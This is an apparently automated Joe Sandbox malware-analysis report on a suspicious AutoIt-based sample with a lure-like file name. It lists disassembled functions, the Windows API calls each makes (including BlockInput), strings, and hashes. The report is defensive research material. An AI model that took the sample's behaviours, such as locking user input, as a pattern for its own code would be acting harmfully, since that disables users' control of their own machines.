RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00486766,?,?,00000008,?,?,0048FEFE,00000000), ref: 00486998

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 577bd86aef0dfe995eb20024f01df7fa844869b866d5c1e84d6cd48747c698df
Instruction ID: 2fde868bd7356e110fba211037cd49437d46ea3fd553c90ff60c4303780009bb
Opcode Fuzzy Hash: 577bd86aef0dfe995eb20024f01df7fa844869b866d5c1e84d6cd48747c698df
Instruction Fuzzy Hash: 0AB16D71510608DFD759DF28C48AB697BE0FF05364F268A59E899CF3A2C339D982CB44

Function 0046B119 Relevance: 1.8, Strings: 1, Instructions: 511COMMON

Download Yara Rule

Strings

, xrefs: 004A851F

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: b7ad00bc63940771bbf034b3959412eafbd72252760e265c5da90d1b061be74e
Instruction ID: 997dc3dae4fb917fc90c876fc81eb281bca15e3f56e08eedb89e4d7a0ac7599c
Opcode Fuzzy Hash: b7ad00bc63940771bbf034b3959412eafbd72252760e265c5da90d1b061be74e
Instruction Fuzzy Hash: 5C125071A002299BDB14CF59C8806EEB7F5FF58710F14819BE849EB251EB389E81CF95

Function 004CEAA2 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 004CEABD

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 494583637a2cc9a91af67f989f90b8d97a200e218ed3c8ce24f83bddcd45da30
Instruction ID: e80af0ffd58daf2c1d1c4bb0e57a0ed52b69bc5b212050af92a1385664af0a4c
Opcode Fuzzy Hash: 494583637a2cc9a91af67f989f90b8d97a200e218ed3c8ce24f83bddcd45da30
Instruction Fuzzy Hash: 3CE012352002049FC710DF6AD844E5AB7D9AF58764F00841BFC45C7351D775A8458B95

Function 004709D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000209E1,004703EE), ref: 004709DA

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 14f2f45087164fef4636e445db1c7a784c245e6d949a85e1f479f93fa08c2feb
Instruction ID: f550c3b4988f1208fbb10dfbb77c4fe30e03dbf9f7e63b042924fcb0c6fbdd06
Opcode Fuzzy Hash: 14f2f45087164fef4636e445db1c7a784c245e6d949a85e1f479f93fa08c2feb
Instruction Fuzzy Hash:

Function 0047781B Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

0, xrefs: 0047798B

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 9084b4e029052128895840c3c28e948f6724b1d83b91d22a18243ac96ad56844
Instruction ID: c8863cd2f663eb224dd507b8df78637a8e69d5ccd62825792d97a74b30f427c6
Opcode Fuzzy Hash: 9084b4e029052128895840c3c28e948f6724b1d83b91d22a18243ac96ad56844
Instruction Fuzzy Hash: B15155B160C60596EB346669C8497FF27898B02304F98C91BD98EC7382C60DDE02C39F

Function 004C2046 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

0&R, xrefs: 004C2053

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID: 0&R
API String ID: 0-2643562366
Opcode ID: b9755088737084218ffa247947b79c01f704498ec848a218b197dba007841f61
Instruction ID: 162542fd9920640220d2f62b1729e70b37e3493b265007cf05ecb3de5b0b3517
Opcode Fuzzy Hash: b9755088737084218ffa247947b79c01f704498ec848a218b197dba007841f61
Instruction Fuzzy Hash: 0621D5326206118BD728CE7AC92367A73E5AB64310F14862FE4A7C37D0DE79A904DB84

Function 00486DD9 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e481f188fa4d5914befb2c10dec377dc67388b4f6111ef6c668b6d51554f6cd
Instruction ID: 32d511af3a033c0dac44003ffc30aaf2a6a18bcc469e20c37ee525a73dd2522f
Opcode Fuzzy Hash: 5e481f188fa4d5914befb2c10dec377dc67388b4f6111ef6c668b6d51554f6cd
Instruction Fuzzy Hash: A9321821D29F014DD723A634C93233AA649AFB73C5F25D737E815B5EA5EB69C4C38204

Function 0046CC39 Relevance: .6, Instructions: 635COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cee5b69e1a4612365e8699a8ea661a7f0b4ba5712a72660721a5278cb33754a3
Instruction ID: 92a61f670a4e173b30ce44cf73e8628fc4b21fd04f1012af3fda995fca16f242
Opcode Fuzzy Hash: cee5b69e1a4612365e8699a8ea661a7f0b4ba5712a72660721a5278cb33754a3
Instruction Fuzzy Hash: 3E322871A001158BDF64CF2DC4D06BE77A1EB67310F28816BD49A8B391E23CDD82DB5A

Function 00457920 Relevance: .6, Instructions: 563COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e276dd8bb3d1505dd9a705f437f19a20144f52b2b94be99ef7e7e90cb502be6c
Instruction ID: fc70af1776c14a57baaef0b6c5301edf9ce4c9e18e981ba153c70ad8b2f8bb88
Opcode Fuzzy Hash: e276dd8bb3d1505dd9a705f437f19a20144f52b2b94be99ef7e7e90cb502be6c
Instruction Fuzzy Hash: D922D2B0A00609DFDF14CF65D941AAEB7F1FF44304F20453AE816A7292E73AAD19CB59

Function 004591C0 Relevance: .5, Instructions: 475COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff63660cf8badddd273aa12d79fd15d731595fffbe839485b50ba9aa5906e1b1
Instruction ID: dc9fa1e866c4c154de479cfa947fc2aef93676aed21a66402e26f3697e1d5790
Opcode Fuzzy Hash: ff63660cf8badddd273aa12d79fd15d731595fffbe839485b50ba9aa5906e1b1
Instruction Fuzzy Hash: 3202D7B0E00105EBCF04DF55D881AAEBBB1FF44304F10856AE8569B391E739EE15CB99

Function 00471C77 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction ID: b0d57244c041d6103903de4bff69845e21772627e7babb274d1ef9a53eb6e396
Opcode Fuzzy Hash: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction Fuzzy Hash: 7B91B8721080A34EDB39423E85340BFFFE15A523A131A479FD4FACA2E1FE18D955D624

Function 004719B0 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction ID: 9a681ca2cb3c5d3946c34c14fade14d552293749611c48578645818f245ca216
Opcode Fuzzy Hash: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction Fuzzy Hash: C591A7722090A30EDB29427D85740BFFFE14A923A1319879FD4FACA2E1FD18D655D624

Function 00477A4A Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 979cbf969df898c1c09f0f9d30af45ed980a5760caf275e7b6e8efecf2c6a8d7
Instruction ID: 8b4d60d3b533615589cd3e21cf6b4189ffc9ca26a78c728d7a12dd783ad6b1c0
Opcode Fuzzy Hash: 979cbf969df898c1c09f0f9d30af45ed980a5760caf275e7b6e8efecf2c6a8d7
Instruction Fuzzy Hash: ED61587124870596EA349A288995BFF3394DF41308FD0C91FE94ECB382D51DAE42C75E

Function 00477CA7 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38ccf875226729d7aaa7951bc1995f7b1d1a74edd6d49c6c038d25c1797ab736
Instruction ID: 9b5da4c3ea2a8aa136ab56f4591a2d82de1cba9d217556af96e5f80566c9ed06
Opcode Fuzzy Hash: 38ccf875226729d7aaa7951bc1995f7b1d1a74edd6d49c6c038d25c1797ab736
Instruction Fuzzy Hash: C4619A7124870962DA384A685895BFF23899F42748FD0CC5FE94ECB381E61E9D42C35E

Function 00471706 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction ID: 2f4c76082f05d94f110613cfda6e90d6a867d0ac66fb809a259581a229a4a780
Opcode Fuzzy Hash: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction Fuzzy Hash: E981A9B25080A309DB2D423D85740BFFFE15A923A131A479FD4FACB2E1EE18C559D625

Function 004D2ADE Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 004D2B30
DeleteObject.GDI32(00000000), ref: 004D2B43
DestroyWindow.USER32 ref: 004D2B52
GetDesktopWindow.USER32 ref: 004D2B6D
GetWindowRect.USER32(00000000), ref: 004D2B74
SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 004D2CA3
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 004D2CB1
CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004D2CF8
GetClientRect.USER32(00000000,?), ref: 004D2D04
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 004D2D40
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004D2D62
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004D2D75
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004D2D80
GlobalLock.KERNEL32(00000000), ref: 004D2D89
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004D2D98
GlobalUnlock.KERNEL32(00000000), ref: 004D2DA1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004D2DA8
GlobalFree.KERNEL32(00000000), ref: 004D2DB3
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004D2DC5
OleLoadPicture.OLEAUT32(?,00000000,00000000,004EFC38,00000000), ref: 004D2DDB
GlobalFree.KERNEL32(00000000), ref: 004D2DEB
CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 004D2E11
SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 004D2E30
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004D2E52
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 004D303F

Strings

DISPLAY, xrefs: 004D2EA2
static, xrefs: 004D2D3A, 004D2E91
AutoIt v3, xrefs: 004D2CF2
, xrefs: 004D2FC5

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 958c8cf6c0a409aa28fb1cd5e20a2b07aa598db56f17b30d51e996182e6b84d4
Instruction ID: 17a6486f4471d2d702e20f0c67d2cbeb3a8b0ba58306d3f7e5ba75dddb9691a6
Opcode Fuzzy Hash: 958c8cf6c0a409aa28fb1cd5e20a2b07aa598db56f17b30d51e996182e6b84d4
Instruction Fuzzy Hash: 5E02CF71500208AFDB14CF64CD88EAF7BB9FF59315F00855AF915AB2A1DB74AD02CB68

Function 004E70D5 Relevance: 49.8, APIs: 33, Instructions: 273COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 004E712F
GetSysColorBrush.USER32(0000000F), ref: 004E7160
GetSysColor.USER32(0000000F), ref: 004E716C
SetBkColor.GDI32(?,000000FF), ref: 004E7186
SelectObject.GDI32(?,?), ref: 004E7195
InflateRect.USER32(?,000000FF,000000FF), ref: 004E71C0
GetSysColor.USER32(00000010), ref: 004E71C8
CreateSolidBrush.GDI32(00000000), ref: 004E71CF
FrameRect.USER32(?,?,00000000), ref: 004E71DE
DeleteObject.GDI32(00000000), ref: 004E71E5
InflateRect.USER32(?,000000FE,000000FE), ref: 004E7230
FillRect.USER32(?,?,?), ref: 004E7262
GetWindowLongW.USER32(?,000000F0), ref: 004E7284

Part of subcall function 004E73E8: GetSysColor.USER32(00000012), ref: 004E7421
Part of subcall function 004E73E8: SetTextColor.GDI32(?,?), ref: 004E7425
Part of subcall function 004E73E8: GetSysColorBrush.USER32(0000000F), ref: 004E743B
Part of subcall function 004E73E8: GetSysColor.USER32(0000000F), ref: 004E7446
Part of subcall function 004E73E8: GetSysColor.USER32(00000011), ref: 004E7463
Part of subcall function 004E73E8: CreatePen.GDI32(00000000,00000001,00743C00), ref: 004E7471
Part of subcall function 004E73E8: SelectObject.GDI32(?,00000000), ref: 004E7482
Part of subcall function 004E73E8: SetBkColor.GDI32(?,00000000), ref: 004E748B
Part of subcall function 004E73E8: SelectObject.GDI32(?,?), ref: 004E7498
Part of subcall function 004E73E8: InflateRect.USER32(?,000000FF,000000FF), ref: 004E74B7
Part of subcall function 004E73E8: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 004E74CE
Part of subcall function 004E73E8: GetWindowLongW.USER32(00000000,000000F0), ref: 004E74DB

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 00bf3dd7f6157bf3006f5fff89b84d2734a0ee973f7a83fb63a4307aee9160b8
Instruction ID: 57c1f21863b6beb65751bba55ca3325a1cfa0b06b2de23a6965cb2f5b671a61f
Opcode Fuzzy Hash: 00bf3dd7f6157bf3006f5fff89b84d2734a0ee973f7a83fb63a4307aee9160b8
Instruction Fuzzy Hash: A3A1A371008351BFD7009F60DC88A6BBBA9FF49331F100A29FA629A1E2D735D946DF56

Function 00468D85 Relevance: 47.7, APIs: 26, Strings: 1, Instructions: 480windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?), ref: 00468E14
SendMessageW.USER32(?,00001308,?,00000000), ref: 004A6AC5
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 004A6AFE
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 004A6F43

Part of subcall function 00468F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00468BE8,?,00000000,?,?,?,?,00468BBA,00000000,?), ref: 00468FC5

SendMessageW.USER32(?,00001053), ref: 004A6F7F
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 004A6F96
ImageList_Destroy.COMCTL32(00000000,?), ref: 004A6FAC
ImageList_Destroy.COMCTL32(00000000,?), ref: 004A6FB7

Strings

0, xrefs: 004A6DCF

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: DestroyImageList_MessageSend$Window$InvalidateMoveRectRemove
String ID: 0
API String ID: 2760611726-4108050209
Opcode ID: e47248e5b691411381ffcd42e94a2119a6324886eb6851ee78e3dc67da2b0789
Instruction ID: 9765572e8efea4ba28adc4620e72fd59b20c25bb3f8f7eb99513e97f0d6f0944
Opcode Fuzzy Hash: e47248e5b691411381ffcd42e94a2119a6324886eb6851ee78e3dc67da2b0789
Instruction Fuzzy Hash: B512BE30200651DFD725CF24C884BA7B7E5FF6A300F19456EF485CB261DB3AA892DB5A

Function 004D2711 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 330windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 004D273E
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 004D286A
